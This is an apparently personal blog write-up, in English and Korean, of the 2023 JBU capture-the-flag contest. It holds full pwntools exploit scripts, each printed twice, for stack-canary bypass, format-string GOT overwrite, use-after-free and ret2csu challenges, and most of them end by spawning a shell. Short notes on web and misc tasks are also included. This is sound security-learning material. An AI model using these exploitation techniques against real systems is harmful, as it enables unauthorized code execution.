인기 검색어

Hacking

2023 JBU CTF WriteUP

  • -

ENGLISH

Recovery 802.11

  • After extracting the key with AirCrack, enter it into wireshark Decrypt Key and you should see something like this

 

 

double canary

  • Since one of the double canaries is on top of the buf, we only need to leak the real one with a put.
    The stack structure is Double Canary -> Buf -> Real Canary.
from pwn import *
e = ELF('./double_canary')
libc = ELF('./libc.so.6')
#p = process('double_canary')
#context.log_level = 'debug'
context.terminal=["tmux","splitw","-h"]
#p=gdb.debug('./double_canary',gdbscript='''source ~/.gef-5927df4fb307124c444453b1cb85fa0ce79883c9\\nb *main+188\\nb *main+118''')
p = remote('13.124.46.20',13573)
context(arch='amd64',os='linux')
sla = lambda x, y : p.sendlineafter(x, y)
sa = lambda x, y : p.sendafter(x, y)
sl = lambda x : p.sendline(x)
s = lambda x : p.send(x)
rvu = lambda x : p.recvuntil(x)
rv = lambda x : p.recv(x)
rvl = lambda : p.recvline()
li = lambda x:log.info(hex(x))
libca = rvu("printf : ")
libbase = rvl()
libbase = libbase[2:14]
libbase = int(libbase,16)
libbase = libbase - libc.symbols['printf']
li(libbase)
sla('Name Size :','25')
sla('Name :', 'a'*25)
a = rvl()
a = a[26:33]
canary1 = u64(b'\\x00'+a)
li(canary1)
binsh = libbase + list(libc.search(b"/bin/sh"))[0]
li(binsh)
sla('Index Value(Name-Index) :', '0')
sla('Name Size :', '200')
sla('Name :', b'a' * 72 + p64(canary1)+ p64(0x40101a) * 2 +p64(0x401573)+ p64(binsh) + p64(libbase+libc.symbols['system']))
p.interactive()

 

format32

  • Change Global Check Value to right one by fsb and replace GOT with a function that outputs a flag. Simply replace GOT with Flag in Scanf.
from pwn import *
e = ELF('./format32')
#p = process('format32')
#context.log_level = 'debug'
context.bits = 32
context.terminal=["tmux","splitw","-h"]
#p=gdb.debug('./format32',gdbscript='''source ~/.gef-5927df4fb307124c444453b1cb85fa0ce79883c9\\nb *main''')
p = remote('13.124.46.20',13574)
context(arch='i386',os='linux')
sla = lambda x, y : p.sendlineafter(x, y)
sa = lambda x, y : p.sendafter(x, y)
sl = lambda x : p.sendline(x)
s = lambda x : p.send(x)
rvu = lambda x : p.recvuntil(x)
rv = lambda x : p.recv(x)
rvl = lambda : p.recvline()
li = lambda x:log.info(hex(x))
payload = fmtstr_payload(11, {0x804C050:0xDEADBEEF, 0x804C048:0x8049296}, write_size='byte')
print(payload)
sl(payload)
p.interactive()

 

uaf basic

  • Since there is no initialization after malloc, BUF+22 is called directly in menu 3. However, the lower 4 bytes cannot be manipulated because student can manipulate from +26, which means that Professor can manipulate from +20 to +28 in menu 1, so I created a value in connection and called it after reassignment.
from pwn import *
e = ELF('./uaf_basic')
#p = process('uaf_basic')
context.log_level = 'debug'
context.terminal=["tmux","splitw","-h"]
#p=gdb.debug('./uaf_basic',gdbscript='''source ~/.gef-5927df4fb307124c444453b1cb85fa0ce79883c9\\nb *main\\nb *lecture_func\\nb *professor_func''')
p = remote('13.124.46.20',13577)
context(arch='amd64',os='linux')
sla = lambda x, y : p.sendlineafter(x, y)
sa = lambda x, y : p.sendafter(x, y)
sl = lambda x : p.sendline(x)
s = lambda x : p.send(x)
rvu = lambda x : p.recvuntil(x)
rv = lambda x : p.recv(x)
rvl = lambda : p.recvline()
li = lambda x:log.info(hex(x))
sla('3. Lecture','1')
sla('Student ID:','1234')
sla('Student Grade:','2')
sla('Student Age:','64')

sla('3. Lecture','2')
sla('Professor ID:','1234')
sla('Professor Age:','1312517816401788927')

sla('> ','3')
sla('Lecture ID:', '1234')
p.interactive()

 

call func

  • First, I called the write function with ret to CSU, set the value of Signal GOT to Leak, got the libc base, and matched the arguments of the flag function with the gadgets in libc. It could have been easier, but I didn't want to think about it, so I just played around.
from pwn import *
e = ELF('./ret1')
libc = ELF('./libc.so')
#p = process('ret1')
context.log_level = 'debug'
context.terminal=["tmux","splitw","-h"]
#p=gdb.debug('./ret1',gdbscript='''source ~/.gef-5927df4fb307124c444453b1cb85fa0ce79883c9\\nb *main+46''')
p = remote('13.124.46.20',13576)
context(arch='amd64',os='linux')
sla = lambda x, y : p.sendlineafter(x, y)
sa = lambda x, y : p.sendafter(x, y)
sl = lambda x : p.sendline(x)
s = lambda x : p.send(x)
rvu = lambda x : p.recvuntil(x)
rv = lambda x : p.recv(x)
rvl = lambda : p.recvline()
li = lambda x:log.info(hex(x))
payload = p64(0x401216)+ b'a' * 56+ b'a' * 8 + p64(0x4013FA) + p64(0) + p64(1) + p64(0x1) + p64(0x404030) + p64(0x50) + p64(0x404018) + p64(0x4013E0) + p64(0x401360) * 8
sl(payload)
a = rv(100)
a = a[:6]
a = a + b'\\x00'*2
a = u64(a)
libcbase = a - libc.symbols['signal']
li(libcbase)
payload1 = p64(0x401216)+ b'a' * 56+ b'a' * 8 +p64(libcbase+0x142c92) + p64(0x88) + p64(libcbase+0x15c4b3) + p64(0x66) + p64(libcbase+0x1632b2) + p64(0x44) +p64(0x401216)
sl(payload1)
p.interactive()

 

format64

  • I used the FSB and used it to set the check to right value, then changed the GOT of the Exit that popped inside the vuln function back to the main so that I could use the FSB multiple times. I used this FSB multiple times to leak LIBC, change the GOT of printf to system, and give /bin/sh as an argument to get a shell. I struggled with one-shot because of stack alignment.
from pwn import *
e = ELF('./format64')
libc = ELF('./libc.so')
#p = process('format64')
#context.log_level = 'debug'
context.terminal=["tmux","splitw","-h"]
#p=gdb.debug('./format64',gdbscript='''source ~/.gef-5927df4fb307124c444453b1cb85fa0ce79883c9\\nb *win''')
p = remote('13.124.46.20',13575)
context(arch='amd64',os='linux')
sla = lambda x, y : p.sendlineafter(x, y)
sa = lambda x, y : p.sendafter(x, y)
sl = lambda x : p.sendline(x)
s = lambda x : p.send(x)
rvu = lambda x : p.recvuntil(x)
rv = lambda x : p.recv(x)
rvl = lambda : p.recvline()
li = lambda x:log.info(hex(x))
#payload = b"%p %p %p "
offset = libc.symbols['read'] + 18
payload = fmtstr_payload(8, {0x404090:0x87654321ABCD,0x404050:0x4012A8}, write_size='byte')
print(payload)
sl(payload)
payload1 = "%p %p %p"
sl(payload1)
leak = rvu('0x100 ')
leak = rvl()
leak = leak[2:14] 
leak = int(leak,16)
leak -= offset
print('==============================')
li(leak)
oneshot = leak + libc.symbols['system']
li(oneshot)
payload3 = fmtstr_payload(8, {0x404028:oneshot}, write_size='byte')
print((len(payload3)))
print('==============================')
sl(payload3)
p.interactive()

 

내가 가장 좋아하는 쿠키는

  • If you press F12 and look at the source, you'll see a list of cookies, and if you submit any cookie and look at the cookie value, you'll see a base64-encoded string "- I actually like chocolate over Chocolate Cookie". If we pass the base64-encoded value of chocolate to cookie, it will give us a flag.

Easy to Listening

  • I switched to reverse playback and listened carefully to solve it.

Go away

  • I could see it importing the framework, so I looked for the SCP in the js and it was there.

 

Solved - 9 Prob

 


 

KOREAN 

Recovery 802.11

  • AirCrack으로 키 추출 후에 wireshark Decrypt Key항목에 넣고 보면 보인다

 

 

double canary

  • 어차피 더블 카나리 중 하나가 buf 위에 있어서 진짜만 put으로 Leak하면 된다.
  • 스택 구조를 보면 Double Canary -> Buf -> Real Canary이다.
from pwn import *
e = ELF('./double_canary')
libc = ELF('./libc.so.6')
#p = process('double_canary')
#context.log_level = 'debug'
context.terminal=["tmux","splitw","-h"]
#p=gdb.debug('./double_canary',gdbscript='''source ~/.gef-5927df4fb307124c444453b1cb85fa0ce79883c9\\nb *main+188\\nb *main+118''')
p = remote('13.124.46.20',13573)
context(arch='amd64',os='linux')
sla = lambda x, y : p.sendlineafter(x, y)
sa = lambda x, y : p.sendafter(x, y)
sl = lambda x : p.sendline(x)
s = lambda x : p.send(x)
rvu = lambda x : p.recvuntil(x)
rv = lambda x : p.recv(x)
rvl = lambda : p.recvline()
li = lambda x:log.info(hex(x))
libca = rvu("printf : ")
libbase = rvl()
libbase = libbase[2:14]
libbase = int(libbase,16)
libbase = libbase - libc.symbols['printf']
li(libbase)
sla('Name Size :','25')
sla('Name :', 'a'*25)
a = rvl()
a = a[26:33]
canary1 = u64(b'\\x00'+a)
li(canary1)
binsh = libbase + list(libc.search(b"/bin/sh"))[0]
li(binsh)
sla('Index Value(Name-Index) :', '0')
sla('Name Size :', '200')
sla('Name :', b'a' * 72 + p64(canary1)+ p64(0x40101a) * 2 +p64(0x401573)+ p64(binsh) + p64(libbase+libc.symbols['system']))
p.interactive()

 

format32

  • Check값 맞춰주고 GOT를 flag출력하는 함수로 바꿨다. Scanf의 GOT를 그대로 Flag로 바꿔주면 된다.
from pwn import *
e = ELF('./format32')
#p = process('format32')
#context.log_level = 'debug'
context.bits = 32
context.terminal=["tmux","splitw","-h"]
#p=gdb.debug('./format32',gdbscript='''source ~/.gef-5927df4fb307124c444453b1cb85fa0ce79883c9\\nb *main''')
p = remote('13.124.46.20',13574)
context(arch='i386',os='linux')
sla = lambda x, y : p.sendlineafter(x, y)
sa = lambda x, y : p.sendafter(x, y)
sl = lambda x : p.sendline(x)
s = lambda x : p.send(x)
rvu = lambda x : p.recvuntil(x)
rv = lambda x : p.recv(x)
rvl = lambda : p.recvline()
li = lambda x:log.info(hex(x))
payload = fmtstr_payload(11, {0x804C050:0xDEADBEEF, 0x804C048:0x8049296}, write_size='byte')
print(payload)
sl(payload)
p.interactive()

 

uaf basic

  • malloc후 초기화를 하지 않아서 3번 메뉴에서 buf+22를 그대로 call해버린다. 근데 student에서는 +26부터 조작이 가능해 하위 4바이트를 조작할 수 없는데, 이는 1번 메뉴로 Professor에서 +20~28까지 조작이 가능하기에 연계해서 값을 만들고 재할당 후 Call 시켰다
from pwn import *
e = ELF('./uaf_basic')
#p = process('uaf_basic')
context.log_level = 'debug'
context.terminal=["tmux","splitw","-h"]
#p=gdb.debug('./uaf_basic',gdbscript='''source ~/.gef-5927df4fb307124c444453b1cb85fa0ce79883c9\\nb *main\\nb *lecture_func\\nb *professor_func''')
p = remote('13.124.46.20',13577)
context(arch='amd64',os='linux')
sla = lambda x, y : p.sendlineafter(x, y)
sa = lambda x, y : p.sendafter(x, y)
sl = lambda x : p.sendline(x)
s = lambda x : p.send(x)
rvu = lambda x : p.recvuntil(x)
rv = lambda x : p.recv(x)
rvl = lambda : p.recvline()
li = lambda x:log.info(hex(x))
sla('3. Lecture','1')
sla('Student ID:','1234')
sla('Student Grade:','2')
sla('Student Age:','64')

sla('3. Lecture','2')
sla('Professor ID:','1234')
sla('Professor Age:','1312517816401788927')

sla('> ','3')
sla('Lecture ID:', '1234')
p.interactive()

 

call func

  • 일단 ret to CSU로 write함수를 호출해서 Signal GOT의 값을 Leak, 그리고 libc base를 구한 후에 libc에 있는 가젯들로 플래그 함수의 인자 체크를 맞춰주었다. 더 쉽게 풀 수 있었을 것 같았는데 그거 생각하기 귀찮아서 걍 노가다 했다.
from pwn import *
e = ELF('./ret1')
libc = ELF('./libc.so')
#p = process('ret1')
context.log_level = 'debug'
context.terminal=["tmux","splitw","-h"]
#p=gdb.debug('./ret1',gdbscript='''source ~/.gef-5927df4fb307124c444453b1cb85fa0ce79883c9\\nb *main+46''')
p = remote('13.124.46.20',13576)
context(arch='amd64',os='linux')
sla = lambda x, y : p.sendlineafter(x, y)
sa = lambda x, y : p.sendafter(x, y)
sl = lambda x : p.sendline(x)
s = lambda x : p.send(x)
rvu = lambda x : p.recvuntil(x)
rv = lambda x : p.recv(x)
rvl = lambda : p.recvline()
li = lambda x:log.info(hex(x))
payload = p64(0x401216)+ b'a' * 56+ b'a' * 8 + p64(0x4013FA) + p64(0) + p64(1) + p64(0x1) + p64(0x404030) + p64(0x50) + p64(0x404018) + p64(0x4013E0) + p64(0x401360) * 8
sl(payload)
a = rv(100)
a = a[:6]
a = a + b'\\x00'*2
a = u64(a)
libcbase = a - libc.symbols['signal']
li(libcbase)
payload1 = p64(0x401216)+ b'a' * 56+ b'a' * 8 +p64(libcbase+0x142c92) + p64(0x88) + p64(libcbase+0x15c4b3) + p64(0x66) + p64(libcbase+0x1632b2) + p64(0x44) +p64(0x401216)
sl(payload1)
p.interactive()

 

format64

  • FSB가 터지고 이를 활용해서 Check값을 맞춰준 다음 vuln함수 내에서 터지는 Exit의 GOT를 다시 메인으로 변경해 FSB를 여러번 활용할 수 있도록 했다. 그리고 이 FSB를 여러번 사용해서 LIBC를 릭하고, printf의 got를 system으로 바꿔서 인자를 /bin/sh를 주면 쉘을 딸 수 있었다. 스택 정렬 때문에 원샷이 안되갖고 애먹었다.
from pwn import *
e = ELF('./format64')
libc = ELF('./libc.so')
#p = process('format64')
#context.log_level = 'debug'
context.terminal=["tmux","splitw","-h"]
#p=gdb.debug('./format64',gdbscript='''source ~/.gef-5927df4fb307124c444453b1cb85fa0ce79883c9\\nb *win''')
p = remote('13.124.46.20',13575)
context(arch='amd64',os='linux')
sla = lambda x, y : p.sendlineafter(x, y)
sa = lambda x, y : p.sendafter(x, y)
sl = lambda x : p.sendline(x)
s = lambda x : p.send(x)
rvu = lambda x : p.recvuntil(x)
rv = lambda x : p.recv(x)
rvl = lambda : p.recvline()
li = lambda x:log.info(hex(x))
#payload = b"%p %p %p "
offset = libc.symbols['read'] + 18
payload = fmtstr_payload(8, {0x404090:0x87654321ABCD,0x404050:0x4012A8}, write_size='byte')
print(payload)
sl(payload)
payload1 = "%p %p %p"
sl(payload1)
leak = rvu('0x100 ')
leak = rvl()
leak = leak[2:14] 
leak = int(leak,16)
leak -= offset
print('==============================')
li(leak)
oneshot = leak + libc.symbols['system']
li(oneshot)
payload3 = fmtstr_payload(8, {0x404028:oneshot}, write_size='byte')
print((len(payload3)))
print('==============================')
sl(payload3)
p.interactive()

 

내가 가장 좋아하는 쿠키는

  • F12를 눌러 소스를 보면 쿠키 리스트가 있는데, 여기서 아무쿠키나 submit하고 쿠키값을 보면 base64로 인코딩된 “• 나는 사실 Chocolate Cookie보다 chocolate을 좋아해” 문자열이 나온다. 여기서 chocolate을 base64로 인코딩한 값을 cookie로 넘겨주면 플래그를 준다.

Easy to Listening

  • 누가봐도 역재생이라 역재생으로 바꾼다음 잘 들어서 풀었다.

Go away

  • 프레임워크를 가져오는게 보여서 js에서 SCP를 찾으니 있었다.
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.